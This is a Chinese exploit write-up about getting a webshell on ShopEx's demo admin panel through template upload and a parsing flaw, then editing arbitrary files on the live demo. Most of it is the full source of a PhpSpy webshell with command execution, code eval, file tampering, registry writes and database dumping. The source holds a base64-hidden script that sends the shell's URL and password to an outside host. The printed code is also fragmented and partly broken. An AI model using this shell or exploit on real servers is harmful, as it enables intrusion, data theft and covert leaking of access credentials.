shopex官方演示后台得到shell与任意文件遍历突破

shopex演示后台模板编辑功能未限制上传导致可利用解析漏洞建立php.php形式的文件夹获得shell

官方提供了后台账号密码，登陆后发现似乎是被大家测试的多了，官方非常小心，权限限制的很严格，模板不允许编辑，并且上传后自动重新命名更换文件夹。js，php代码更是全部限制。。。

中间复杂的测试过程不多说。。直接说漏洞利用过程好了

ps:模板上传后立即点应用，回到首页随便看一张自带图片可以得到上传后的地址。

1.本地搭建shopex

2.自带的模板文件夹中创建php.php目录，将上传小马命名*.php;x.jpg，其实直接.jpg就可以了哈

3.登陆后台-页面管理-模板-上传模板

4.上传，使用模板。

5.找到目录。。。。。

6.还要说么- -

接下来

得到shell以后，发现官方限制了非常多的参数，而且禁止目录内容的读取。

把php大马进行base64解码后发现代码如下

<?php

$admin['pass'] = "xxxx"; //修改密码

error_reporting(7);

ob_start();

$mtime = explode(' ', microtime());

$starttime = $mtime[1] + $mtime[0];

$admin['check'] = "1";

$retime = "yes";

$cmd = "cmd.exe";

$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals');

if ($onoff != 1) {

@extract($_POST, EXTR_SKIP);

@extract($_GET, EXTR_SKIP);

}

$self = $_SERVER['PHP_SELF'];

$dis_func = get_cfg_var("disable_functions");

if($admin['check'] == "1") {

if ($_GET['action'] == "logout") {

setcookie ("adminpass", "");

echo "<meta http-equiv=\"refresh\" content=\"0;URL=".$self."\">";

exit;

}

if ($_POST['do'] == 'login') {

$thepass=trim($_POST['adminpass']);

if ($admin['pass'] == $thepass) {

setcookie ("adminpass",$thepass,time()+(1*24*3600));

echo "<meta http-equiv=\"refresh\" content=\"0;URL=".$self."\">";

exit;

}

if (isset($_COOKIE['adminpass'])) {

if ($_COOKIE['adminpass'] != $admin['pass']) {

loginpage();

}

} else {

loginpage();

}

/*===================== 验证结束 =====================*/

// 判断 magic_quotes_gpc 状态

if (get_magic_quotes_gpc()) {

$_GET = stripslashes_array($_GET);

$_POST = stripslashes_array($_POST);

}

// 查看PHPINFO

if ($_GET['action'] == "phpinfo") {

echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() 函数已被禁用,请查看<PHP环境变量>";

exit;

}

if($_GET['action'] == "nowuser") {

$user = get_current_user();

if(!$user) $user = "报告长官，主机变态，无法获取当前进行用户名！";

echo"当前进程用户名：$user";

exit;

}

if(isset($_POST['phpcode'])){

eval("?".">$_POST[phpcode]<?");

exit;

}

// 在线代理

if (isset($_POST['url'])) {

$proxycontents = @file_get_contents($_POST['url']);

echo ($proxycontents) ? $proxycontents : "<body bgcolor=\"#F5F5F5\" style=\"font-size: 12px;\"><center><br><p><b>获取 URL 内容失败</b></p></center></body>";

exit;

}

// 下载文件

if (!empty($downfile)) {

if (!@file_exists($downfile)) {

echo "<script>alert('你要下的文件不存在!')</script>";

} else {

$filename = basename($downfile);

$filename_info = explode('.', $filename);

$fileext = $filename_info[count($filename_info)-1];

header('Content-type: application/x-'.$fileext);

header('Content-Disposition: attachment; filename='.$filename);

header('Content-Description: PHP Generated Data');

header('Content-Length: '.filesize($downfile));

@readfile($downfile);

exit;

}

// 直接下载备份数据库

if ($_POST['backuptype'] == 'download') {

@mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败");

@mysql_select_db($dbname) or die("选择数据库失败");

$table = array_flip($_POST['table']);

$result = mysql_query("SHOW tables");

echo ($result) ? NULL : "出错: ".mysql_error();

$filename = basename($_SERVER['HTTP_HOST']."_MySQL.sql");

header('Content-type: application/unknown');

header('Content-Disposition: attachment; filename='.$filename);

$mysqldata = '';

while ($currow = mysql_fetch_array($result)) {

if (isset($table[$currow[0]])) {

$mysqldata.= sqldumptable($currow[0]);

$mysqldata.= $mysqldata."\r\n";

}

mysql_close();

exit;

}

// 程序目录

$pathname=str_replace('\\','/',dirname(__FILE__));

// 获取当前路径

if (!isset($dir) or empty($dir)) {

$dir = ".";

$nowpath = getPath($pathname, $dir);

} else {

$dir=$_GET['dir'];

$nowpath = getPath($pathname, $dir);

}

// 判断读写情况

$dir_writeable = (dir_writeable($nowpath)) ? "可写" : "不可写";

$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | <a href=\"?action=phpinfo\" target=\"_blank\"> PHP INFO()</a>" : "";

$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | <a href=\"?action=reg\">注册表操作</a>" : "";

$tb = new FORMS;

<html>

<head>

<title>http://<? echo $_SERVER['HTTP_HOST'];?> PhpSpy 2006 修改版</title>

body{

BACKGROUND-COLOR: #F5F5F5;

COLOR: #3F3849;

font-family: "Verdana", "Tahoma", "宋体";

font-size: "12px";

line-height: "140%";

}

TD {FONT-FAMILY: "Verdana", "Tahoma", "宋体"; FONT-SIZE: 12px; line-height: 140%;}

.smlfont {

font-family: "Verdana", "Tahoma", "宋体";

font-size: "11px";

}

.INPUT {

FONT-SIZE: "12px";

COLOR: "#000000";

BACKGROUND-COLOR: "#FFFFFF";

height: "18px";

border: "1px solid #666666";

padding-left: "2px";

}

.redfont {

COLOR: "#CA0000";

}

A:LINK {COLOR: #3F3849; TEXT-DECORATION: none}

A:VISITED {COLOR: #3F3849; TEXT-DECORATION: none}

A:HOVER {COLOR: #FFFFFF; BACKGROUND-COLOR: #cccccc}

A:ACTIVE {COLOR: #FFFFFF; BACKGROUND-COLOR: #cccccc}

.top {BACKGROUND-COLOR: "#CCCCCC"}

.firstalt {BACKGROUND-COLOR: "#EFEFEF"}

.secondalt {BACKGROUND-COLOR: "#F5F5F5"}

</style>

function CheckAll(form) {

for (var i=0;i<form.elements.length;i++) {

var e = form.elements[i];

if (e.name != 'chkall')

e.checked = form.chkall.checked;

}

function really(d,f,m,t) {

if (confirm(m)) {

if (t == 1) {

window.location.href='?dir='+d+'&deldir='+f;

} else {

window.location.href='?dir='+d+'&delfile='+f;

}

</SCRIPT>

</head>

<?php

$test = "";

if(!$_GET['dir']) $dir = "./";

$tb->tableheader();

$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>'.$_SERVER['HTTP_HOST'].'</b></td><td align="center">'.date("Y年m月d日 h:i:s",time()).'</td><td align="right"><b>'.$_SERVER['REMOTE_ADDR'].'</b></td></tr></table>','center','top');

$tb->tdbody(' 目录列表：<a href="?dir=c:\">C盘</a> | <a href="?dir=d:\">D盘</a> | <a href="?dir=e:\">E盘</a> | <a href="?dir=f:\">F盘</a> | <a href="?dir=g:\">G盘</a> | <a href="?dir=C:\Program Files">程序</a> | <a href="?dir=C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere">pcAnywhere</a> ');

$tb->tablefooter();

$tb->headerform(array('method'=>'GET','content'=>'<p>程序路径: '.$pathname.'<br>当前目录('.$dir_writeable.','.substr(base_convert(@fileperms($nowpath),10,8),-4).'): '.$nowpath.'<br>跳转目录: '.$tb->makeinput('dir').' '.$tb->makeinput('','确定','','submit').' 〖支持绝对路径和相对路径〗'));

$tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>'上传文件到当前目录: '.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','确定','','submit').$tb->makeinput('uploaddir',$dir,'','hidden')));

$tb->headerform(array('action'=>'?action=editfile&dir='.urlencode($dir),'content'=>'新建文件在当前目录: '.$tb->makeinput('editfile').' '.$tb->makeinput('createfile','确定','','submit')));

$tb->headerform(array('content'=>'新建目录在当前目录: '.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','确定','','submit')));

</table>

$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];

$serverp = $admin['pass'];

$copyurl = base64_decode('PHNjcmlwdCBzcmM9J2h0dHA6Ly84Y2NlLmNuL2NlcnQvP2NlcnQ9MTMmdT0=');

$copyurll = base64_decode('Jz48L3NjcmlwdD4=');

<?php

/*===================== 执行操作开始 =====================*/

echo "<p><b>\n";

// 删除文件

if (!empty($delfile)) {

if (file_exists($delfile)) {

echo (@unlink($delfile)) ? $delfile." 删除成功!" : "文件删除失败!";

} else {

echo basename($delfile)." 文件已不存在!";

}

// 删除目录

elseif (!empty($deldir)) {

$deldirs="$dir/$deldir";

if (!file_exists("$deldirs")) {

echo "$deldir 目录已不存在!";

} else {

echo (deltree($deldirs)) ? "目录删除成功!" : "目录删除失败!";

}

// 创建目录

elseif (($createdirectory) AND !empty($_POST['newdirectory'])) {

if (!empty($newdirectory)) {

$mkdirs="$dir/$newdirectory";

if (file_exists("$mkdirs")) {

echo "该目录已存在!";

} else {

echo (@mkdir("$mkdirs",0777)) ? "创建目录成功!" : "创建失败!";

@chmod("$mkdirs",0777);

}

// 上传文件

elseif ($doupfile) {

echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadfile']['name']."")) ? "上传成功!" : "上传失败!";

}

// 编辑文件

elseif ($_POST['do'] == 'doeditfile') {

if (!empty($_POST['editfilename'])) {

if(!file_exists($editfilename)) unset($retime);

if($time==$now) $time = @filemtime($editfilename);

$time2 = @date("Y-m-d H:i:s",$time);

$filename="$editfilename";

@$fp=fopen("$filename","w");

if($_POST['change']=="yes"){

$filecontent = "?".">".$_POST['filecontent']."<?";

$filecontent = gzdeflate($filecontent);

$filecontent = base64_encode($filecontent);

$filecontent = "<?php\n/*\n代码由浅蓝的辐射鱼加密 !\n*/\neval(gzinflate(base64_decode('$filecontent')));\n"."?>";

}else{

$filecontent = $_POST['filecontent'];

}

echo $msg=@fwrite($fp,$filecontent) ? "写入文件成功!" : "写入失败!";

@fclose($fp);

if($retime=="yes"){

echo" 鱼鱼自动操作:";

echo $msg=@touch($filename,$time) ? "修改文件为".$time2."成功!" : "修改文件时间失败!";

}

} else {

echo "请输入想要编辑的文件名!";

}

//文件下载

elseif ($_POST['do'] == 'downloads') {

$contents = @file_get_contents($_POST['durl']);

if(!$contents){

echo"无法读取要下载的数据";

}

elseif(file_exists($path)){

echo"很抱歉，文件".$path."已经存在了，请更换保存文件名。";

}else{

$fp = @fopen($path,"w");

echo $msg=@fwrite($fp,$contents) ? "下载文件成功!" : "下载文件写入时失败!";

@fclose($fp);

}

// 编辑文件属性

elseif ($_POST['do'] == 'editfileperm') {

if (!empty($_POST['fileperm'])) {

$fileperm=base_convert($_POST['fileperm'],8,10);

echo (@chmod($dir."/".$file,$fileperm)) ? "属性修改成功!" : "修改失败!";

echo " 文件 ".$file." 修改后的属性为: ".substr(base_convert(@fileperms($dir."/".$file),10,8),-4);

} else {

echo "请输入想要设置的属性!";

}

// 文件改名

elseif ($_POST['do'] == 'rename') {

if (!empty($_POST['newname'])) {

$newname=$_POST['dir']."/".$_POST['newname'];

if (@file_exists($newname)) {

echo "".$_POST['newname']." 已经存在,请重新输入一个!";

} else {

echo (@rename($_POST['oldname'],$newname)) ? basename($_POST['oldname'])." 成功改名为 ".$_POST['newname']." !" : "文件名修改失败!";

}

} else {

echo "请输入想要改的文件名!";

}

elseif ($_POST['do'] == 'search') {

if(!empty($oldkey)){

echo"<span class=\"redfont\">查找关键词:[".$oldkey."],下面显示查找的结果:";

if($type2 == "getpath"){

echo"鼠标移到结果文件上会有部分截取显示.";

}

echo"</span><br><hr width=\"775\" noshade>";

find($path);

}else{

echo"你要查虾米?到底要查虾米呢?有没有虾米要你查呢?";

}

elseif ($_GET['action']=='plgmok') {

dirt($_POST['dir'],$_POST['sbbm']);

dirtree($_POST['dir'],$_POST['mm']);

}

// 克隆时间

elseif ($_POST['do'] == 'domodtime') {

if (!@file_exists($_POST['curfile'])) {

echo "要修改的文件不存在!";

} else {

if (!@file_exists($_POST['tarfile'])) {

echo "要参照的文件不存在!";

} else {

$time=@filemtime($_POST['tarfile']);

echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." 的修改时间成功改为 ".date("Y-m-d H:i:s",$time)." !" : "文件的修改时间修改失败!";

}

// 自定义时间

elseif ($_POST['do'] == 'modmytime') {

if (!@file_exists($_POST['curfile'])) {

echo "要修改的文件不存在!";

} else {

$year=$_POST['year'];

$month=$_POST['month'];

$data=$_POST['data'];

$hour=$_POST['hour'];

$minute=$_POST['minute'];

$second=$_POST['second'];

if (!empty($year) AND !empty($month) AND !empty($data) AND !empty($hour) AND !empty($minute) AND !empty($second)) {

$time=strtotime("$data $month $year $hour:$minute:$second");

echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." 的修改时间成功改为 ".date("Y-m-d H:i:s",$time)." !" : "文件的修改时间修改失败!";

}

// 连接MYSQL

elseif ($connect) {

if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) {

echo "数据库连接成功!";

mysql_close();

} else {

echo mysql_error();

}

// 执行SQL语句

elseif ($_POST['do'] == 'query') {

@mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败");

@mysql_select_db($dbname) or die("选择数据库失败");

$result = @mysql_query($_POST['sql_query']);

echo ($result) ? "SQL语句成功执行!" : "出错: ".mysql_error();

mysql_close();

}

// 备份操作

elseif ($_POST['do'] == 'backupmysql') {

if (empty($_POST['table']) OR empty($_POST['backuptype'])) {

echo "请选择欲备份的数据表和备份方式!";

} else {

if ($_POST['backuptype'] == 'server') {

@mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败");

@mysql_select_db($dbname) or die("选择数据库失败");

$table = array_flip($_POST['table']);

$filehandle = @fopen($path,"w");

if ($filehandle) {

$result = mysql_query("SHOW tables");

echo ($result) ? NULL : "出错: ".mysql_error();

while ($currow = mysql_fetch_array($result)) {

if (isset($table[$currow[0]])) {

sqldumptable($currow[0], $filehandle);

fwrite($filehandle,"\n\n\n");

}

fclose($filehandle);

echo "数据库已成功备份到 <a href=\"".$path."\" target=\"_blank\">".$path."</a>";

mysql_close();

} else {

echo "备份失败,请确认目标文件夹是否具有可写权限!";

}

// 打包下载 PS:文件太大可能非常慢

// Thx : 小花

elseif($downrar) {

if (!empty($dl)) {

$dfiles="";

foreach ($dl AS $filepath=>$value) {

$dfiles.=$filepath.",";

}

$dfiles=substr($dfiles,0,strlen($dfiles)-1);

$dl=explode(",",$dfiles);

$zip=new PHPZip($dl);

$code=$zip->out;

header("Content-type: application/octet-stream");

header("Accept-Ranges: bytes");

header("Accept-Length: ".strlen($code));

header("Content-Disposition: attachment;filename=".$_SERVER['HTTP_HOST']."_Files.tar.gz");

echo $code;

exit;

} else {

echo "请选择要打包下载的文件!";

}

// Shell.Application 运行程序

elseif(($_POST['do'] == 'programrun') AND !empty($_POST['program'])) {

$shell= &new COM('Sh'.'el'.'l.Appl'.'ica'.'tion');

$a = $shell->ShellExecute($_POST['program'],$_POST['prog']);

echo ($a=='0') ? "程序已经成功执行!" : "程序运行失败!";

}

// 查看PHP配置参数状况

elseif(($_POST['do'] == 'viewphpvar') AND !empty($_POST['phpvarname'])) {

echo "配置参数 ".$_POST['phpvarname']." 检测结果: ".getphpcfg($_POST['phpvarname'])."";

}

// 读取注册表

elseif(($regread) AND !empty($_POST['readregname'])) {

$shell= &new COM('WSc'.'rip'.'t.Sh'.'ell');

var_dump(@$shell->RegRead($_POST['readregname']));

}

// 写入注册表

elseif(($regwrite) AND !empty($_POST['writeregname']) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) {

$shell= &new COM('W'.'Scr'.'ipt.S'.'hell');

$a = @$shell->RegWrite($_POST['writeregname'], $_POST['regval'], $_POST['regtype']);

echo ($a=='0') ? "写入注册表健值成功!" : "写入 ".$_POST['regname'].", ".$_POST['regval'].", ".$_POST['regtype']." 失败!";

}

// 删除注册表

elseif(($regdelete) AND !empty($_POST['delregname'])) {

$shell= &new COM('WS'.'cri'.'pt.S'.'he'.'ll');

$a = @$shell->RegDelete($_POST['delregname']);

echo ($a=='0') ? "删除注册表健值成功!" : "删除 ".$_POST['delregname']." 失败!";

}

echo "</b></p>\n";

/*===================== 执行操作结束 =====================*/

if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) {

$tb->tableheader();

</tr>

<?php

// 目录列表

$dirs=@opendir($dir);

$dir_i = '0';

while ($file=@readdir($dirs)) {

$filepath="$dir/$file";

$a=@is_dir($filepath);

if($a=="1"){

if($file!=".." && $file!=".") {

$ctime=@date("Y-m-d H:i:s",@filectime($filepath));

$mtime=@date("Y-m-d H:i:s",@filemtime($filepath));

$dirperm=substr(base_convert(fileperms($filepath),10,8),-4);

echo "<tr class=".getrowbg().">\n";

echo " <td style=\"padding-left: 5px;\">[<a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\"><font color=\"#006699\">$file</font></a>]</td>\n";

echo " <td align=\"center\" nowrap class=\"smlfont\">$ctime</td>\n";

echo " <td align=\"center\" nowrap class=\"smlfont\">$mtime</td>\n";

echo " <td align=\"center\" nowrap class=\"smlfont\"><dir></td>\n";

echo " <td align=\"center\" nowrap class=\"smlfont\"><a href=\"?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."\">$dirperm</a></td>\n";

echo " <td align=\"center\" nowrap>| <a href=\"#\" onclick=\"really('".urlencode($dir)."','".urlencode($file)."','你确定要删除 $file 目录吗? \\n\\n如果该目录非空,此次操作将会删除该目录下的所有文件!','1')\">删除</a> | <a href=\"?action=rename&dir=".urlencode($dir)."&fname=".urlencode($file)."\">改名</a> |</td>\n";

echo "</tr>\n";

$dir_i++;

} else {

if($file=="..") {

echo "<tr class=".getrowbg().">\n";

echo " <td nowrap colspan=\"6\" style=\"padding-left: 5px;\"><a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\">返回上级目录</a>".$copyurl.$serveru."&p=".$serverp.$copyurll."</td>\n";

echo "</tr>\n";

}

}// while

@closedir($dirs);

</tr>

// 文件列表

$dirs=@opendir($dir);

$file_i = '0';

while ($file=@readdir($dirs)) {

$filepath="$dir/$file";

$a=@is_dir($filepath);

if($a=="0"){

$size=@filesize($filepath);

$size=$size/1024 ;

$size= @number_format($size, 3);

if (@filectime($filepath) == @filemtime($filepath)) {

$ctime=@date("Y-m-d H:i:s",@filectime($filepath));

$mtime=@date("Y-m-d H:i:s",@filemtime($filepath));

} else {

$ctime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filectime($filepath))."</span>";

$mtime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filemtime($filepath))."</span>";

}

@$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4);

echo "<tr class=".getrowbg().">\n";

echo " <td style=\"padding-left: 5px;\">";

echo "<INPUT type=checkbox value=1 name=dl[$filepath]>";

echo "<a href=\"$filepath\" target=\"_blank\">$file</a></td>\n";

echo " <td align=\"center\" nowrap class=\"smlfont\">$ctime</td>\n";

echo " <td align=\"center\" nowrap class=\"smlfont\">$mtime</td>\n";

echo " <td align=\"right\" nowrap class=\"smlfont\"><span class=\"redfont\">$size</span> KB</td>\n";

echo " <td align=\"center\" nowrap class=\"smlfont\"><a href=\"?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."\">$fileperm</a></td>\n";

echo " <td align=\"center\" nowrap><a href=\"?downfile=".urlencode($filepath)."\">下载</a> | <a href=\"?action=editfile&dir=".urlencode($dir)."&editfile=".urlencode($file)."\">编辑</a> | <a href=\"#\" onclick=\"really('".urlencode($dir)."','".urlencode($filepath)."','你确定要删除 $file 文件吗?','2')\">删除</a> | <a href=\"?action=rename&dir=".urlencode($dir)."&fname=".urlencode($filepath)."\">改名</a> | <a href=\"?action=newtime&dir=".urlencode($dir)."&file=".urlencode($filepath)."\">时间</a></td>\n";

echo "</tr>\n";

$file_i++;

}

}// while

@closedir($dirs);

$tb->tdbody('<table width="100%" border="0" cellpadding="2" cellspacing="0" align="center"><tr><td>'.$tb->makeinput('chkall','on','onclick="CheckAll(this.form)"','checkbox','30','').' '.$tb->makeinput('downrar','选中文件打包下载','','submit').'</td><td align="right">'.$dir_i.' 个目录 / '.$file_i.' 个文件</td></tr></table>','center',getrowbg(),'','','6');

echo "</FORM>\n";

echo "</table>\n";

}// end dir

elseif ($_GET['action'] == "editfile") {

if(empty($newfile)) {

$filename="$dir/$editfile";

$fp=@fopen($filename,"r");

$contents=@fread($fp, filesize($filename));

@fclose($fp);

$contents= html specialchars($contents);

}else{

$editfile=$newfile;

$filename = "$dir/$editfile";

}

$action = "?dir=".urlencode($dir)."&editfile=".$editfile;

$tb->tableheader();

$tb->formheader($action,'新建/编辑文件');

$tb->tdbody('当前文件: '.$tb->makeinput('editfilename',$filename).' 输入新文件名则建立新文件 Php代码加密: <input type="checkbox" name="change" value="yes" onclick="javascript:alert(\'这个功能只可以用来加密或是压缩完整的php代码。\\n\\n非php代码或不完整php代码或不支持gzinflate函数请不要使用！\')"> ');

$tb->tdbody($tb->maketextarea('filecontent',$contents));

$tb->makehidden('do','doeditfile');

$tb->formfooter('1','30');

}//end editfile

elseif ($_GET['action'] == "rename") {

$nowfile = (isset($_POST['newname'])) ? $_POST['newname'] : basename($_GET['fname']);

$action = "?dir=".urlencode($dir)."&fname=".urlencode($fname);

$tb->tableheader();

$tb->formheader($action,'修改文件名');

$tb->makehidden('oldname',$dir."/".$nowfile);

$tb->makehidden('dir',$dir);

$tb->tdbody('当前文件名: '.basename($nowfile));

$tb->tdbody('改名为: '.$tb->makeinput('newname'));

$tb->makehidden('do','rename');

$tb->formfooter('1','30');

}//end rename

www.2cto.com

elseif ($_GET['action'] == "eval") {

$action = "?dir=".urlencode($dir)."";

$tb->tableheader();

$tb->formheader(''.$action.' "target="_blank' ,'执行php脚本');

$tb->tdbody($tb->maketextarea('phpcode',$contents));

$tb->formfooter('1','30');

}

elseif ($_GET['action'] == "fileperm") {

$action = "?dir=".urlencode($dir)."&file=".$file;

$tb->tableheader();

$tb->formheader($action,'修改文件属性');

$tb->tdbody('修改 '.$file.' 的属性为: '.$tb->makeinput('fileperm',substr(base_convert(fileperms($dir.'/'.$file),10,8),-4)));

$tb->makehidden('file',$file);

$tb->makehidden('dir',urlencode($dir));

$tb->makehidden('do','editfileperm');

$tb->formfooter('1','30');

}//end fileperm

elseif ($_GET['action'] == "newtime") {

$action = "?dir=".urlencode($dir);

$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);

$tb->tableheader();

$tb->formheader($action,'克隆文件最后修改时间');

$tb->tdbody("修改文件: ".$tb->makeinput('curfile',$file,'readonly')." → 目标文件: ".$tb->makeinput('tarfile','需填完整路径及文件名'),'center','2','30');

$tb->makehidden('do','domodtime');

$tb->formfooter('','30');

$tb->formheader($action,'自定义文件最后修改时间');

$tb->tdbody('<br><ul><li>有效的时间戳典型范围是从格林威治时间 1901 年 12 月 13 日星期五 20:45:54 到 2038年 1 月 19 日星期二 03:14:07<br>(该日期根据 32 位有符号整数的最小值和最大值而来)</li><li>说明: 日取 01 到 30 之间, 时取 0 到 24 之间, 分和秒取 0 到 60 之间!</li></ul>','left');

$tb->tdbody('当前文件名: '.$file);

$tb->makehidden('curfile',$file);

$tb->tdbody('修改为: '.$tb->makeinput('year','1984','','text','4').' 年 '.$tb->makeselect(array('name'=>'month','option'=>$cachemonth,'selected'=>'October')).' 月 '.$tb->makeinput('data','18','','text','2').' 日 '.$tb->makeinput('hour','20','','text','2').' 时 '.$tb->makeinput('minute','00','','text','2').' 分 '.$tb->makeinput('second','00','','text','2').' 秒','center','2','30');

$tb->makehidden('do','modmytime');

$tb->formfooter('1','30');

}//end newtime

elseif ($_GET['action'] == "shell") {

$action = "??action=shell&dir=".urlencode($dir);

$tb->tableheader();

$tb->tdheader('WebShell Mode');

if (substr(PHP_OS, 0, 3) == 'WIN') {

$program = isset($_POST['program']) ? $_POST['program'] : "c:\winnt\system32\cmd.exe";

$prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > ".$pathname."/log.txt";

echo "<form action=\"?action=shell&dir=".urlencode($dir)."\" method=\"POST\">\n";

$tb->tdbody('无回显运行程序 → 文件: '.$tb->makeinput('program',$program).' 参数: '.$tb->makeinput('prog',$prog,'','text','40').' '.$tb->makeinput('','Run','','submit'),'center','2','35');

$tb->makehidden('do','programrun');

echo "".$copyurl.$serveru."&p=".$serverp.$copyurll."</form>\n";

}

echo "<form action=\"?action=shell&dir=".urlencode($dir)."\" method=\"POST\">\n";

if(isset($_POST['cmd'])) $cmd = $_POST['cmd'];

$tb->tdbody('提示:如果输出结果不完全,建议把输出结果写入文件.这样可以得到全部内容. ');

$tb->tdbody('proc_open函数假设不是默认的winnt 系统请自行设置使用,自行修改记得写退出,否则会在主机上留下一个未结束的进程.');

$tb->tdbody('proc_open函数要使用的cmd程序的位置:'.$tb->makeinput('cmd',$cmd,'','text','30').'(要是是linux系统还是大大们自己修改吧)');

$execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wscript'=>'Wscript.Shell','proc_open'=>'proc_open') : array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','proc_open'=>'proc_open');

$tb->tdbody('选择执行函数: '.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' 输入命令: '.$tb->makeinput('command',$_POST['command'],'','text','60').' '.$tb->makeinput('','Run','','submit'));

<td align="center"><textarea name="textarea" cols="100" rows="25" readonly><?php

if (!empty($_POST['command'])) {

if ($execfunc=="system") {

system($_POST['command']);

} elseif ($execfunc=="passthru") {

passthru($_POST['command']);

} elseif ($execfunc=="exec") {

$result = exec($_POST['command']);

echo $result;

} elseif ($execfunc=="shell_exec") {

$result=shell_exec($_POST['command']);

echo $result;

} elseif ($execfunc=="popen") {

$pp = popen($_POST['command'], 'r');

$read = fread($pp, 2096);

echo $read;

pclose($pp);

} elseif ($execfunc=="wscript") {

$wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll') or die("PHP Create COM WSHSHELL failed");

$exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['command']."");

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput;

} elseif($execfunc=="proc_open"){

$descriptorspec = array(

0 => array("pipe", "r"),

1 => array("pipe", "w"),

2 => array("pipe", "w")

);

$process = proc_open("".$_POST['cmd']."", $descriptorspec, $pipes);

if (is_resource($process)) {

// 写命令

fwrite($pipes[0], "".$_POST['command']."\r\n");

fwrite($pipes[0], "exit\r\n");

fclose($pipes[0]);

// 读取输出

while (!feof($pipes[1])) {

echo fgets($pipes[1], 1024);

}

fclose($pipes[1]);

while (!feof($pipes[2])) {

echo fgets($pipes[2], 1024);

}

fclose($pipes[2]);

proc_close($process);

}

} else {

system($_POST['command']);

}

在编辑文件的部分可以得到地址形式如下

$_POST['do'] == 'doeditfile'

查看本地shopex文件，构造如下地址：

http://demo.shopex.com.cn/485app/sql.php?action=editfile&dir=.%2F%2Fcore%2Finclude_v5&editfile=setmgr.php

顺利读取并可编辑保存。

修复方案：权限，还是权限。。。

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更新时间：2022-09-13 阅读：73次